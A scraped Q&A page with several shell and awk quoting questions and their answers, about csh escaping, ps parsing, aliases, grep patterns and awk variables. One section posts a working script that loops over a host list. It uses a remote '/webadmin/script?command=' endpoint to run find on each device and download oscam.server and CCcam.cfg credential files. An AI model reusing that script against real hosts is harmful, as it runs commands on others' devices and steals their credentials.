redirection of awk print to a file - shell

I can get the cpu Mhz of a solaris machine by following command.
% /usr/sbin/psrinfo -v | grep operate |head -1 | awk '{print $6}'
1200
when I run the following command, awk output is not getting redirected.
% csh -cf "/usr/sbin/psrinfo -v | grep operate |head -1 | awk '{print $6}' > myoutput"
% cat myoutput
The sparcv9 processor operates at 1200 MHz,
how to get following result
% cat myoutput
1200

Your problem is that $6 is being evaluated by your existing shell before being passed on to csh (and used in the awk command).
Escaping the $ should fix the problem:
csh -cf "/usr/sbin/psrinfo -v | grep operate |head -1 | awk '{print \$6}' > myoutput"
Or, more succinctly:
csh -cf "/usr/sbin/psrinfo -v | awk '/operate/{print \$6; exit}' > myoutput"

Related

How to grep first match and second match(ignore first match) with awk or sed or grep?

> root# ps -ef | grep [j]ava | awk '{print $2,$9}'
> 45134 -Dapex=APEC
> 45135 -Dapex=JAAA
> 45136 -Dapex=APEC
I need to put the first APEC of first as First PID, third line of APEC and Second PID and last one as Third PID.
I've tried awk but no expected result.
> First_PID =ps -ef | grep [j]ava | awk '{print $2,$9}'|awk '{if ($0 == "[^0-9]" || $1 == "APEC:") {print $0; exit;}}'
Expected result should look like this.
> First_PID=45134
> Second_PID=45136
> Third_PID=45135
With your shown samples and attempts please try following awk code. Written and tested in GNU awk.
ps -ef | grep [j]ava |
awk '
{
val=$2 OFS $9
match(val,/([0-9]+) -Dapex=APEC ([0-9]+) -Dapex=JAAA\s([0-9]+)/,arr)
print "First_PID="arr[1],"Second_PID=",arr[3],"Third_PID=",arr[2]
}
'
How about this:
$ input=("1 APEC" "2 JAAA" "3 APEC")
$ printf '%s\n' "${input[#]}" | grep APEC | sed -n '2p'
3 APEC
Explanation:
input=(...) - input data in an array, for testing
printf '%s\n' "${input[#]}" - print input array, one element per line
grep APEC - keep lines containing APEC only
sed -n - run sed without automatic print
sed -n '2p' - print only the second line
If you just want the APECs first...
ps -ef |
awk '/java[ ].* -Dapex=APEC/{print $2" "$9; next; }
/java[ ]/{non[NR]=$2" "$9}
END{ for (rec in non) print non[rec] }'
If possible, use an array instead of those ordinally named vars.
mapfile -t pids < <( ps -ef | awk '/java[ ].* -Dapex=APEC/{print $2; next; }
/java[ ]/{non[NR]=$2} END{ for (rec in non) print non[rec] }' )
After read from everyone idea,I end up with the very simple solution.
FIRST_PID=$(ps -ef | grep APEC | grep -v grep | awk '{print $2}'| sed -n '1p')
SECOND_PID=$(ps -ef | grep APEC | grep -v grep | awk '{print $2}'| sed -n '2p')
JAWS_PID=$(ps -ef | grep JAAA | grep -v grep | awk '{print $2}')

One liner working, but in bash script not working, why?

oneliner
curl "127.0.0.1:81/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++'
and bash style
#!/bin/sh
OSCAM="/webadmin/script?command=|ps%20-T%20-f" | grep oscam | awk 'BEGIN{IGNORECASE=1;oscam;RS="<br>"}; {print $11};' | awk '{print "/file?file="$0"/oscam.server"}' | awk '!x[$0]++' > oscam.source.tmp
URL2=$(cat oscam.source.tmp)
for URL in `cat links.md`; do echo $URL; curl -m 5 $1 "$URL$OSCAM" > oscam.source; curl -m 5 $1 "$URL$URL2"
done > oscam.server.new
the main problem for me on script didnt running normally, didnt gave an output for oscam.source.tmp
ok refined the script
now finally working :),
#!/bin/bash
for URL in $(< links.md); do echo curl -L -m 5 $1 "'"$URL"/webadmin/script?command=|find%20/etc%20/var%20/usr%20|%20egrep%20%22CCcam.cfg|oscam.server%22'" | bash - | egrep "oscam.server<br>|CCcam.cfg" | awk 'BEGIN{RS="<br>"} {print $1}' > oscam.source.bak && awk '!/^$/' oscam.source.bak | awk '$0="/file?file="$0' > oscam.temp;
for URL2 in $(< oscam.temp); do echo curl -L -m 5 $1 "$URL$URL2" | bash -
done
done > oscam.server.new

How to escape grep and awk within pipe in an alias?

I want to create an alias for an long command. But I'm not able to escape it correct, I guess it's a problem with the pipes.
My original command
ps aux | grep gimp | awk '{ print $2 '\011' $11 }' | grep -v 'grep'
My attempt for an alias
alias psa="ps aux | grep $1 | awk '{ print \$2 \"\011\" \$11 }' | grep -v 'grep'"
But I get an error that grep can not open file foo (when I do psa foo)
When I remove the last part | grep -v 'grep' then awkthrows the same error.
I prefer an alias before an shell script.
You need to use a function if you want to to insert arguments:
psa() {
ps aux | grep "$1" | awk '{print $2 "\t" $11 }' | grep -v grep
}
You can avoid all the escaping by using a function for this:
myps() {
ps aux | grep gimp | awk '{ print $2 "\011" $11 }' | grep -v 'grep'
}

Can't grep file correctly

I have a file with very simple syntax:
cat /tmp/test
ARCH=""prtconf -b | awk '/^name:/ {print $2}'
I tried to grep it:
cat /tmp/test | grep "prtconf -b | awk '/^name:/ {print $2"
ARCH=""prtconf -b | awk '/^name:/ {print $2}'
Let's make grep string a little longer, add } to the end:
cat /tmp/test | grep "prtconf -b | awk '/^name:/ {print $2"}
Nothing found
Why when I add } to the end of the line grep stop working?
OS is Solaris 10U11
$2 refers to command-line parameter so here it will substitute blank character in a patter. So you'l need to escape $ by slash like \$
cat /tmp/test | grep "prtconf -b | awk '/^name:/ {print \$2}"
Without adding } in your patter it was working because it was matching actual pattern as prtconf -b | awk '/^name:/ {print for your input. But if you add } in your patter then it will try to match prtconf -b | awk '/^name:/ {print } (which isn't there in your file so it won't show output.)

How to correct this awk code without eval?

The following piece of awk code works fine if I use eval builtin
var='$1,$2'
ps | eval "awk '{print $var}'"
But when I try to knock off eval and use awk variable as substitute then I am not getting the expected result
ps | awk -v v1=$var '{print v1}' # output is $1,$2
ps | awk -v v1=`echo $var` '{print v1}' # output is same as above
ps | awk -v v1=$var '{print $v1}' # output is all the fields of ps command
ps | eval "awk -v v1=$var '{print v1}'" # output is column of comma
How to get the desire output without using eval?
Use double-quotes in the awk command:
ps | awk "{print $var}"

Resources